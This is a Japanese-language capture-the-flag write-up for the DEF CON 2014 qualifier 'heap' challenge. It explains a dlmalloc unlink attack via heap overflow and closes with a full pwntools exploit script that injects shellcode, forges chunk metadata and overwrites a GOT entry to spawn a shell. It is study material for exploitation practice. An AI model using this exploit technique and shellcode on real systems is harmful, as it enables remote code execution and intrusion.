DEF CON CTF Qualifier 2014: heap
はじめに
katagaitai勉強会#1の資料を見ながら解いてみました。
まず、heapについてはスライドとこちらの動画が参考になりました。まだ前半しか理解できていないのですが、折を見てもう一度見てみたいと思います。
The 67th Yokohama kernel reading party - YouTube
事前調査
$ file ./heap ./heap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped $ checksec ./heap [*] '/home/ubuntu/writeup/bata/easy/heap/heap' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
NX有効でPartial RELROです。
まず動かしてみる。
$ python -c "print 'A'*260 " | ./heap Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=81B7008][size=1246] [ALLOC][loc=81B74F0][size=1121] [ALLOC][loc=81B7958][size=947] [ALLOC][loc=81B7D10][size=741] [ALLOC][loc=81B8000][size=706] [ALLOC][loc=81B82C8][size=819] [ALLOC][loc=81B8600][size=673] [ALLOC][loc=81B88A8][size=1004] [ALLOC][loc=81B8C98][size=952] [ALLOC][loc=81B9058][size=755] [ALLOC][loc=81B9350][size=260] [ALLOC][loc=81B9458][size=877] [ALLOC][loc=81B97D0][size=1245] [ALLOC][loc=81B9CB8][size=1047] [ALLOC][loc=81BA0D8][size=1152] [ALLOC][loc=81BA560][size=1047] [ALLOC][loc=81BA980][size=1059] [ALLOC][loc=81BADA8][size=906] [ALLOC][loc=81BB138][size=879] [ALLOC][loc=81BB4B0][size=823] Write to object [size=260]: Copied 261 bytes. [FREE][address=81B7008] [FREE][address=81B74F0] [FREE][address=81B7958] [FREE][address=81B7D10] [FREE][address=81B8000] [FREE][address=81B82C8] [FREE][address=81B8600] [FREE][address=81B88A8] [FREE][address=81B8C98] [FREE][address=81B9058] Segmentation fault (core dumped)
入力を促されます。`[size=260]とあるので、260文字入力してみると、セグメンテーション違反で落ちます。ここで問題文の最初にも書いてあるようにヒープBOFが起きているみたいです。
解析してみると、以下のことがわかります。
- 20回mallocでランダムなサイズのメモリ確保
- そのアドレスとサイズを配列として保存
- 11番目のchunkは260byteでサイズ固定
- 11番目のchunkに最大0x1000byteの入力がmemcpyで保存される
- 20個のchunkを順にfree
Unlink Attack
mallocで確保されたchunkは以下の図のようになっていて、このchunkがヒープ領域に連続して20個並んでいます。
今はヒープBOFが可能なので、これを利用してUnlink Attackを行います。具体的にはChunk[10]に対してヒープBOFさせて、Chunk[11]をfree済みの状態と同様の構造にします。free済みのチャンクは、再利用時の高速化のためにfd, bkメンバをポインタとする双方向連結リスト構造をとります。この時、Chunk[11]がfree済みとすると、Chunk[10]をfreeする際に、連続したチャンクを結合するためにChunk[11]をリストから外す処理が発生します。この時、適切にポインタを書き換えることによってUnlink時に他のポインタを書き換えることができる(書いてたら無限に説明事項があったので詳しくは資料を見て)
Chunk[10]がfreeされる時、以下の図のようになります。この時、unlinkをする判定として、直上チャンクと直下チャンクがfree済みかどうかを確認します。size変数の下位1ビットはPREV_INUSE
ビットと呼ばれ、直前のチャンクが利用中かどうかを表します(利用中なら1,free済みなら0)。よって、直上は自身のsize変数のPREV_INUSEビット、直下は2つ下のチャンクのsize変数のPREV_INUSEビットを確認します。今回は、直上のチャンクはすでにfree済みであることがわかっているので、直下のチャンクについて注目します。ここで、それぞれのチャンクのアドレスは、チャンクのsizeを加算することによって求められます。
ヒープBOFを使ってChunk[11]のサイズを適当な値にし、fd,bkの値に適当なポインタを保存してfree済みであるように書き換えます。この際に、Chunk[11]のsizeの末尾1ビットを1にして、Chunk[12]の末尾1ビットを0にすることに注意します。NX有効だったのですが、調べてみるとheap領域が実行可能なので、bkが10番目のチャンクのポインタを指すようにしてあげて、直接シェルコードを注入します。この際に、チャンクの中身が今回はPartial RELROなのでgot overwriteを行います。書き換えるのは、freeの結果を出力しているprintfでも終了時に呼ばれるexitでもいいと思います。この時、ヒープ領域は下図のようなイメージでBOFします。
exploit
最終的にこうなりました。
from pwn import * import sys def bp(): raw_input() host = sys.argv[1] port = int(sys.argv[2]) r = remote(host, port) prompt = 'Write to object [size=260]:\n' recv = r.recvuntil(prompt) heap_addr = int(re.findall(r"loc=([^]]+)", recv)[10],16) print recv print "======heap_addr======" print hex(heap_addr) shellcode = asm(shellcraft.sh()) # from shellstorm # shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" buf_len = 0x104 buf = '\xeb\x08\x90\x90' buf += '\x90'*0x10 buf += shellcode buf += '\x90'*(buf_len - len(buf)) buf += p32(0xfffffffc|1) # exit@got buf += p32(0x804c020 - 8) # print@got # buf += p32(0x0804c004 - 8) buf += p32(heap_addr) buf += '' # bp() r.sendline(buf) r.interactive()
感想
heapの問題は初めてだったので、とても勉強になった。今回は資料見ながら一緒に解いてたので解けたものの、heapは書き換え時の状態遷移のイメージが難しいなぁという印象だった…
書き換える場所さえイメージできればいいのかな…?類題が資料に載っているので、これに取り組みながら慣れていきたいと思います。